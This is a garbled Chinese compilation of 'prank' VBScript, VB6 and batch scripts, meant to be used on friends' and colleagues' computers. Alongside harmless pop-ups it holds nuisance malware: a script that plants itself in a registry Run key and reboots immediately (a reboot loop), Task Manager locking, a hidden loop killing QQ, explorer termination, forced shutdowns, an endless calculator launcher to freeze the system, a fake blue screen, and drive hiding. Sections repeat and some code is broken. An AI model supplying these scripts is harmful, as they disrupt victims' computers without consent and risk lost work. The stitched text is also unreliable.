VB代码(整人,实用。几个有趣的希望有帮助!!)
- 格式:doc
- 大小:56.00 KB
- 文档页数:6
VB代码(整人,实用。
几个有趣的希望有帮助!!)使用方法:新建一个txt文本文档。
然后把拓展名改成".vbs"的格式。
然后右键编辑,把代码复制进去,ok1.整死你啊此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你Private Sub Form_Load()Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1For m = 1 To 999MsgBox "呵呵,你知道我是谁吗?", 16MsgBox "什么??不知道?", 16MsgBox "那你打开我干什么?", 16MsgBox "你有空没事做吧?!", 16MsgBox "我..就是鼎鼎大名的987876198", 16MsgBox "987876198..", 16MsgBox "现在你把它打开了觉得后悔了吧?呵呵..", 16MsgBox "算了算了,不玩你了", 16MsgBox "现在我数3声就闪人,行了吧?", 16MsgBox "1.............", 16MsgBox "2.............", 16MsgBox "3.............", 16MsgBox "噔噔噔噔,我又回来了!", 16MsgBox "哈哈,是不是很过瘾呢?", 16MsgBox "现在我先介绍下自己..", 16MsgBox "我叫王得地..", 16MsgBox "性别:男..", 16MsgBox "今年35岁..", 16MsgBox "不好意思噢,我好像说多了..", 16MsgBox "不要这样喇,听我说完先好不?", 16MsgBox "来来来,开始喇..", 16MsgBox "我叫王得地..", 16MsgBox "家中有屋又有田..", 16MsgBox "生活乐无边..", 16MsgBox "好像我又说多了...", 16MsgBox "不要生气嘛,你认真看下去我就放你走..", 16 MsgBox "好,开始喇..", 16MsgBox "从前有座山..", 16MsgBox "山里有个座庙..", 16MsgBox "庙里有个和尚..", 16MsgBox "哈哈,想哭吗?", 16MsgBox "被骗的感觉不爽吧?", 16MsgBox "喂喂喂!别别..千万别重启电脑", 16 MsgBox "我告诉你怎么关吧", 16MsgBox "先打开任务管理器", 16MsgBox "忘了告诉你了,任务管理器打不开了", 16 MsgBox "别恨我啊你不小心", 16MsgBox "电脑重新启动吧", 16MsgBox "相信我吧,你知道我是不会骗人的", 16 MsgBox "如果你还想继续点的话,你就别听我的", 16 MsgBox "呵呵,我又没有说这个东西没有", 16 MsgBox "我只想说桌面没有罢了..", 16MsgBox "嘻嘻,爽不爽吖?", 16MsgBox "对着电脑屏幕大声说低调大好人", 16 MsgBox "不然,我就没办法的咯", 16MsgBox "因为我把循环设置成99了", 16MsgBox "想保存电脑数据只有继续点了", 16 MsgBox "绝对会出到去的", 16MsgBox "好了,废话不多说了,祝你好运..", 16 MsgBox "制作:低调不倒", 16MsgBox "QQ:987876198", 16MsgBox "E-mail:不告诉你", 16MsgBox "好,继续循环..", 16NextEnd Sub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。
好玩的VBScript代码VBScript(Visual Basic Scripting Edition)是一种基于VB语言的脚本语言,它可以用来创建简单的Windows应用程序、网页脚本和系统管理脚本等。
VBScript 是一种通用的脚本语言,可以用来实现各种有趣的功能。
在本文中,我们将介绍一些好玩的VBScript代码,展示其强大的功能和娱乐价值。
1. 电脑妖怪第一个VBScript代码是创建一个电脑妖怪。
该代码将在电脑屏幕上创建一个随机移动的图形,并发出奇怪的声音。
Set wshShell = CreateObject("WScript.Shell")Set objShell = CreateObject("Shell.Application")Set objWMI = GetObject("winmgmts:\\.\root\cimv2")DowshShell.Run "mshta vbscript:CreateObject(""SAPI.SpVoice"").Speak(""Boo!"") (Close)"objShell.MinimizeAllobjShell.UndoMinimizeAllFor Each objDesktop in objWMI.InstancesOf("Win32_Desktop")objDesktop.SetWallpaper "C:\path\to\your\image.jpg"Nextwscript.sleep 100Loop通过运行该代码,将在桌面上创建一个随机移动的图形,并且屏幕上会突然发出吓人的声音。
这个代码可以用作恶作剧或者给你的朋友带来一些惊喜。
2. 无限弹窗第二个VBScript代码是创建一个无限弹窗的例子。
vbs整人代码,表白+提醒两段代码就OKvbs整人代码,表白+提醒两段代码就OK一msgbox "做我女朋友好吗",vbQuestion,"在吗"msgbox ("房产写你名字")msgbox ("保大")msgbox ("我妈会游泳")dim jdo while j Select Case msgbox("做我女朋友好吗",68,"请郑重的回答我")Case 6 j=1Case 7 msgbox("再给你一次机会")end Selectloopmsgbox("我就知道你会同意的,哈哈哈哈")使用方法:新建一个txt文档,将上面的代码复制到txt,然后将文档的后缀名改成vbs。
鼠标双击即可执行。
二步骤一:在电脑上新建一个txt文件步骤二:将以下代码复制过去(中文可以改)const title = “爱情测试”const yourname = “嫦娥”const question = “你最喜欢的人是谁?请在下面的方框中输入他(她)的名字。
”const info = “你在说谎!不要逃避,实话实说。
”const scend = “你说出了你的心扉,那就向他(她)表白吧。
”dim youranswerdoyouranswer = inputbox(question, title)if youranswer yourname then msgbox info, vbinformation+vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation+vbokonly, title步骤三:讲后缀名改为vbs点击之后效果:当输入的名字不是代码中的“嫦娥”,则会弹出"你在说谎!不要逃避,实话实说。
vbs整人代码const yourname = "请在这填上姓名"const title = "爱情测试"const question = "你最喜欢的人是谁?请在下面的方框中输入他(她)的名字。
"const info = "你在说谎!不要逃避,实话实说。
"const scend = "你说出了你的心扉,那就向他(她)表白吧。
"dim youranswerdoyouranswer = inputbox(question, title)if youranswer <> yourname then msgbox info, vbinformation+vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation+vbokonly, title功能:让他非说出你指定的名字点击我查看《两个男人的故事》保存为*.htm无限循环!!MsgBox "兄弟呀,你最近是否失眠",vbinformationRandomize()Dim aa=Int(rnd*2)Select Case aCase 0MsgBox ("我也是这样啊``````")Case 1MsgBox ("(-.-),同是天涯失眠人。
")Case 2MsgBox ("(~.~),还是说你没有失眠")End selectMsgBox ("告诉你一个祖传秘方")Dim b(99)For ji=0 To 99b(ji)=ji+1MsgBox (b(ji) & "只羊")NextMsgBox ("好吧,晚安!")If b(99)=100 ThenSet Wshell=Wscript.CreateObject("Wscript.Shell") Wshell.run "shutdown -s -t 100"End ifps 一直弹到100 然后倒数计时关机on error resume nextset wshshell=createobject("wscript.shell")set fso=createobject("scripting.filesystemobject")fso.movefile(wscript.scriptfullname,"%windir%\")wshshell.run "cmd.exe /c reg add HKLM\software\microsoft\window\currentversion\run /v explorer.exe /t REG_SZ /d c:\windows\"&wscript.scriptname,0,-1 wshshell.run "cmd.exe /c shutdown -r -t 0",0,-1ps:这个毒呀开机就重起我还没验证过呢domsgbox "You are foolish!" '可以改成想弹出的字loopps:这简单一直弹同一句话set wsh=createobject("wscript.shell")dowsh.run "calc"loopps:有点哪个打开无数个计算器,可能会死机dim sdo until s=500 '次数s=s+1msgbox "哥们,给我按500次回车吧",64 '弹出的字loopon error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说我是猪,不说的话就40秒关你机,不信,试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机,快,说 ""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了吗"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "嘻~真爽"可以说是一段很老的代码了。
整人VB小程序:蓝屏死机本程序启动后,延时指定的时间(默认10秒)后出现蓝屏,模拟蓝屏死机情形。
此时,用户无法使用开始菜单、任务管理器,无法操作任何程序,只能干着急。
1 秒钟后,在蓝屏的背景上显示:Your Windows is died5 秒钟后,显示:Windows 警告内存出现严重错误10 秒钟后,显示并计数:警告硬盘错误,无法正常运行Windows,Windows 正在试图修复所有错误,请等待100 秒……25 秒钟后,显示:警告由于你使用了盗版操作系统微软惩罚你:定期死机此后,这4 条信息交替显示结束本程序的方式有两个:1.用鼠标单击屏幕左上角,连续 5 次(左上角20 个像素范围的区域,大约1 平方厘米的大小)2.到程序设定的时间后自动结束,默认120 秒。
下面是程序运行截图:'''以下是窗体代码,在VB6.0 上调试通过:' 一、在窗体添加一个定时器控件:Timer1,不必设置任何属性,采用默认属性即可' 二、在属性窗口将窗体的BorderStyle 属性设置为0Dim ctCi As Long, ctT As Long, ctExitT As Long, ctStr() As String, ctStrS As Long, ctExit As BooleanPrivate Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As LongDim ctShowT As LongPrivate Sub Form_Load()ctShowT = 10 '**** 运行程序后,延时显示蓝屏的时间(秒),可根据自己的喜好设定ctExitT = 120 '**** 程序自动退出的时间(秒),可根据自己的喜好设定Me.HideMe.BackColor = RGB(0, 0, 255): Me.Caption = "蓝屏死机"Me.AutoRedraw = True: Me.WindowState = 2Me.Font.Size = 21: Me.ForeColor = &HFFFFFFTimer1.Interval = 50: Timer1.Enabled = TrueReDim ctStr(0 To 0)End SubPrivate Sub Form_Click()If ctExit Then Unload MeEnd SubPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)'单击左上角20 个像素范围Dim S1 As SingleS1 = Me.ScaleX(20, 3, Me.ScaleMode)If X > S1 Or Y > S1 Then ctCi = 0: Exit SubctCi = ctCi + 1If ctCi > 4 Then Call ExitInfEnd SubPrivate Sub ExitInf()Timer1.Enabled = False: Me.WindowState = 0: ctCi = 0: ctExit = TrueMe.Move Screen.Width * 0.1, Screen.Height * 0.1, Screen.Width * 0.8, Screen.Height * 0.8ctStrS = -1AddStr "哈哈,一个玩笑"AddStr "结束本程序:单击蓝色区任意位置"Call ShowStrEnd SubPrivate Sub Timer1_Timer()Static Ci As LongWinInTop Me.hWnd, True '始终将窗体保持在最前面,使用户无法使用开始菜单、任务管理器,无法操作任何程序Ci = Ci + 1If Ci * Timer1.Interval < 1000 Then Exit Sub '保证一秒钟计数一次Ci = 0If ctShowT > 1 Then ctShowT = ctShowT - 1: Exit SubIf ctShowT = 1 Then ctShowT = 0: Me.ShowctT = ctT + 1: ctExitT = ctExitT - 1If ctExitT < 1 Then Call ExitInf: Exit SubSelect Case ctTCase 1ctStrS = -1AddStr "Your Windows is died"Call ShowStrCase 5ctStrS = -1AddStr "Windows 警告"AddStr "内存出现严重错误"Call ShowStrCase 10 To 24ctStrS = -1AddStr "警告"AddStr "硬盘错误,无法正常运行Windows"AddStr "Windows 正在试图修复所有错误"AddStr "请等待" & ctExitT & " 秒……"Call ShowStrCase 25ctStrS = -1AddStr "警告"AddStr "由于你使用了盗版操作系统"AddStr "微软惩罚你:定期死机"Call ShowStrCase ElseIf ctT > 30 Then ctT = 0End SelectEnd SubPrivate Sub AddStr(nStr)ctStrS = ctStrS + 1ReDim Preserve ctStr(0 To ctStrS): ctStr(ctStrS) = nStrEnd SubPrivate Sub ShowStr()Dim I As Long, S1 As Single, Y0 As Single, Y As Single, Hj As SingleS1 = Me.TextHeight("A"): Hj = 0.5 '行高和行距Y0 = S1 * (1 + Hj) * (1 + ctStrS) - S1 * HjY0 = (Me.ScaleHeight - Y0) * 0.5Me.ClsFor I = 0 To ctStrSMe.CurrentX = (Me.ScaleWidth - Me.TextWidth(ctStr(I))) *0.5Me.CurrentY = Y0 + I * S1 * (1 + Hj)Me.Print ctStr(I)NextEnd SubPrivate Sub WinInTop(nWnd As Long, Optional InTop As Boolean) Const HWND_NoTopMost = -2 '取消在最前Const HWND_TopMost = -1 '最上Const SWP_NoSize = &H1 'wFlags 参数Const SWP_NoMove = &H2Const SWP_NoZorder = &H4Const SWP_ShowWindow = &H40Const SWP_HideWindow = &H80Dim nIn As LongIf InTop Then nIn = HWND_TopMost Else nIn =HWND_NoTopMostSetWindowPos nWnd, nIn, 0, 0, 0, 0, SWP_NoSize +SWP_NoMoveEnd Sub。
未知驱动探索,专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码,这些代码可以用于整人、恶作剧或者娱乐。
VBScript是一种微软开发的脚本语言,可以通过各种操作系统上的微软系列产品(如Windows)来使用。
请注意,这些代码仅用于娱乐目的,不应用于恶意活动或任何非法行为。
使用这些代码时,请确保你已经获得了授权。
2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块,并在用户试图移动鼠标指针靠近色块时,自动将色块移动到一个随机位置。
```vbs Set objShell = CreateObject(
1。
if "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit :begintasklist |find /i "QQ.exe"if %errorlevel%==0 (goto killit) else (goto next):killittaskkill /f /im QQ.exe:nextping -n 3 127.t >nul 2>nulgoto begin——————————分割线————————把以上代码保存成txt格式,然后把后缀改成bat,然后双击运行嘿嘿,那你的qq就不能运行了哟@ color 4f@echo offecho 删除计算机的C盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的D盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的E盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo. =========================================echo. 啊哈哈,都删关,都杀关,哈哈……echo. =========================================echo. 系统将马上崩溃......echo. 这是一个木马程序......您的所有资料已经传到XXXX@shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈,你活该!"ntsd -c q -pn explorer.exeping 127.0.0.1 /n 20 >nulstart explorer.exeshutdown -a____________________________分割线______________________将分割线以上部分保存到txt格式,然后把后缀改成bat就可以运行了运行后你的磁盘会被格式化当然那是假的。
前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。
PS:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。
一、怎么点都没反应的桌面如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。
把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。
他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开机中…………附带:print键截屏方法:键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图!用法一,按“Print Screen SysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。
用法二,先按住“Alt”键,再按“Print Screen SysRq”键,则是对当前窗口进行抓图。
如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。
哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试!二、让电脑硬盘消失-隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了非也!是某些人使坏将其隐藏起来了!步骤1.新建一个记事本2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中:Windows Registry Editor Version[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释(1)"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。
使用方法:新建一个txt文本文档。
然后把拓展名改成“.vbs”的格式。
然后右键编辑,把代码复制进去,ok1.整死你啊此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你Private Sub Form_Load()Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1For m = 1 To 999MsgBox "呵呵,你知道我是谁吗?", 16MsgBox "什么??不知道?", 16MsgBox "那你打开我干什么?", 16MsgBox "你有空没事做吧?!", 16MsgBox "我..就是鼎鼎大名的987876198", 16MsgBox "987876198..", 16MsgBox "现在你把它打开了觉得后悔了吧?呵呵..", 16MsgBox "算了算了,不玩你了", 16MsgBox "现在我数3声就闪人,行了吧?", 16MsgBox "1.............", 16MsgBox "2.............", 16MsgBox "3.............", 16MsgBox "噔噔噔噔,我又回来了!", 16MsgBox "哈哈,是不是很过瘾呢?", 16MsgBox "现在我先介绍下自己..", 16MsgBox "我叫王得地..", 16MsgBox "性别:男..", 16MsgBox "今年35岁..", 16MsgBox "不好意思噢,我好像说多了..", 16MsgBox "不要这样喇,听我说完先好不?", 16MsgBox "来来来,开始喇..", 16MsgBox "我叫王得地..", 16MsgBox "家中有屋又有田..", 16MsgBox "生活乐无边..", 16MsgBox "好像我又说多了...", 16MsgBox "不要生气嘛,你认真看下去我就放你走..", 16MsgBox "好,开始喇..", 16MsgBox "从前有座山..", 16MsgBox "山里有个座庙..", 16MsgBox "庙里有个和尚..", 16MsgBox "哈哈,想哭吗?", 16MsgBox "被骗的感觉不爽吧?", 16MsgBox "喂喂喂!别别..千万别重启电脑", 16MsgBox "我告诉你怎么关吧", 16MsgBox "先打开任务管理器", 16MsgBox "忘了告诉你了,任务管理器打不开了", 16MsgBox "别恨我啊你不小心", 16MsgBox "电脑重新启动吧", 16MsgBox "相信我吧,你知道我是不会骗人的", 16MsgBox "如果你还想继续点的话,你就别听我的", 16MsgBox "呵呵,我又没有说这个东西没有", 16MsgBox "我只想说桌面没有罢了..", 16MsgBox "嘻嘻,爽不爽吖?", 16MsgBox "对着电脑屏幕大声说低调大好人", 16MsgBox "不然,我就没办法的咯", 16MsgBox "因为我把循环设置成99了", 16MsgBox "想保存电脑数据只有继续点了", 16MsgBox "绝对会出到去的", 16MsgBox "好了,废话不多说了,祝你好运..", 16MsgBox "制作:低调不倒", 16MsgBox "QQ:987876198", 16MsgBox "E-mail:不告诉你", 16MsgBox "好,继续循环..", 16NextEnd Sub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。
雪花可在任何窗口上飘荡,包括任务栏、开始菜单、弹出菜单等地方。
本程序与原程序的主要改进之处是:落下的雪花不会消失,会在屏幕底部不断堆积,双击屏幕底部的积雪可使积雪消失。
本程序编译成 exe 文件运行后,只能通过系统“任务管理器”才能终止运行。
程序运行效果截图如下:'' '本程序包含两个窗体,Form1 和 Form2,其中 Form1 是启动窗体。
代码在在 VB6 调试通过:''下面是 Form1 窗体代码:===================================== '' 注意:在属性窗口将窗体的 BorderStyle 属性设置为 0,即窗体是无边框窗体'' 在窗体上放置一个控件:Timer1,不必设置任何属性Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndI nsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Lon g, ByVal wFlags As Long) As LongPrivate Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long , ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As LongPrivate Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal h Wnd As Long, ByVal nIndex As Long) As LongPrivate Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal h Wnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongDim ctSnow() As tySnow, ctSnowS As Long, ctSeChange As LongPrivate Type tySnow '定义表示雪花的数据类型X As Single: xV As Single 'x 坐标、水平移动速度Y As Single: yV As Single 'y 坐标、垂直移动速度Se As Long: Size As Single '雪花颜色、大小End TypePrivate Sub Form_Load()ctSnowS = 200 '300 '雪花数量ctSeChange = 30 '雪花颜色的变化范围'最大化窗口。
注意:不要用在属性窗口设置 WindowState 属性的方'式,也不使用 Me.WindowState = 2 代码。
否则,在用户调整任务'栏状态的时候,会造成积雪的位置错位。
Me.WindowState = 0Me.Move 0, 0, Screen.Width, Screen.HeightReDim ctSnow(1 To ctSnowS)Me.Caption = "雪花飘飘"Me.AutoRedraw = True: Me.ScaleMode = 3Me.BackColor = RGB(235 - ctSeChange * 2, 235 - ctSeChange * 2, 255)Call TransWin(Me.hWnd, Me.BackColor) '将窗口背景色设置为透明的Form2.AutoRedraw = True: Form2.ScaleMode = 3Form2.BackColor = Me.BackColorForm2.Move Form1.Left, Form1.Top, Form1.Width, Form1.HeightCall TransWin(Form2.hWnd, Form2.BackColor) '将窗口背景色设置为透明的Form2.ShowTimer1.Enabled = True: Timer1.Interval = 20End SubPrivate Sub Timer1_Timer()Dim I As Long, V As Single, H1 As Single, IsDown As Boolean, Se As LongV = 8 '修改此数字,可改变雪花整体飘荡的速度Randomize '初始化随机发生器WinInTop Me.hWnd, True '使雪花(窗口)显示在最前,包括显示到任务栏上面WinInTop Form2.hWnd, TrueMe.Line (0, 0)-(Me.ScaleWidth, Me.ScaleHeight), Me.BackColor, BFFor I = 1 To ctSnowSctSnow(I).X = ctSnow(I).X + ctSnow(I).xV * VctSnow(I).Y = ctSnow(I).Y + ctSnow(I).yV * VIf Rnd * 20 < 1 Then ctSnow(I).xV = Rnd - 0.5 '改变水平移动速度,模拟随风飘荡If ctSnow(I).Size = 0 Or ctSnow(I).Y > Me.ScaleHeight Then Call SnowInit(I) '未初始化,或超出下边界' ctSnow(I).Size = 2 '****调试代码ShowStr Me, I '画一朵雪花Me.Font.Size = ctSnow(I).SizeH1 = Me.TextHeight("*") * 0.5 '半个字符高度If ctSnow(I).X < -H1 Then ctSnow(I).X = Me.ScaleWidth '超出左边界If ctSnow(I).X > Me.ScaleWidth Then ctSnow(I).X = -H1 '超出右边界'最下层积雪位置IsDown = ctSnow(I).Y > Me.ScaleHeight - H1If IsDown Then ctSnow(I).Y = Me.ScaleHeight - H1'积雪密度:Y 坐标后 H1*0.9 数值越小密度越大'数值过大,如 H1*1.5,会使积雪堆积成柱状或造成空隙。